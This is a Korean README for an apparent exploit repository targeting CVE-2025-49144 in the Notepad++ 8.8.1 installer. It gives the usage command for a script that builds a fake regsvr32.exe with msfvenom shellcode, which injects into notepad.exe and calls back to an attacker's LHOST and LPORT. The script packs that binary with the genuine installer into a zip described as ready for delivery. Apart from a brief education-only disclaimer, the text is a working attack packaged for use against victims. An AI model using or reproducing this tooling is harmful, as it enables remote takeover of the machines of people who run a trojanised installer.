CVE-2025-49144 – Notepad++ 8.8.1용 익스플로잇

이 저장소는 Notepad++ 8.8.1 설치 프로그램의 CVE-2025-49144 취약점을 악용하는 기능적인 개념 증명(PoC)을 포함합니다. 악성 실행은 취약한 설치 프로그램과 동일한 디렉터리에 바이너리(regsvr32.exe)를 배치함으로써 발생합니다. 설치 프로그램이 실행되면 컨텍스트를 상속받아 페이로드를 트리거합니다.

⚠️ 면책 고지
이 코드는 교육 및 연구 목적으로만 엄격히 사용됩니다. 명시적 허가 없이 시스템에서 무단 사용하는 것은 법률 위반이 될 수 있습니다.
저자는 이 도구와 관련된 어떠한 오용 또는 악의적인 활동에 대해서도 책임을 지지 않습니다.

🧪 요구 사항

• Python 3.x
• msfvenom (Metasploit Framework의 일부)
• mingw-w64 (x86_64-w64-mingw32-gcc)
• 취약한 설치 프로그램: npp.8.8.1.Installer.x64.exe (수동으로 동일한 디렉터리에 배치해야 함)

⚙️ 사용 방법

python3 exploit.py -i <LHOST> -p <LPORT>

예시:

python3 exploit.py -i 192.168.100.10 -p 4444

이 명령은 다음 파일을 생성합니다:

• regsvr32.exe: 원격 notepad.exe 프로세스에 셸코드를 주입하는 실행 파일입니다.
• notepad_payload.zip: 전달 준비가 완료된 아카이브로 다음을 포함합니다:
  • npp.8.8.1.Installer.x64.exe
  • regsvr32.exe

🎬 데모

[]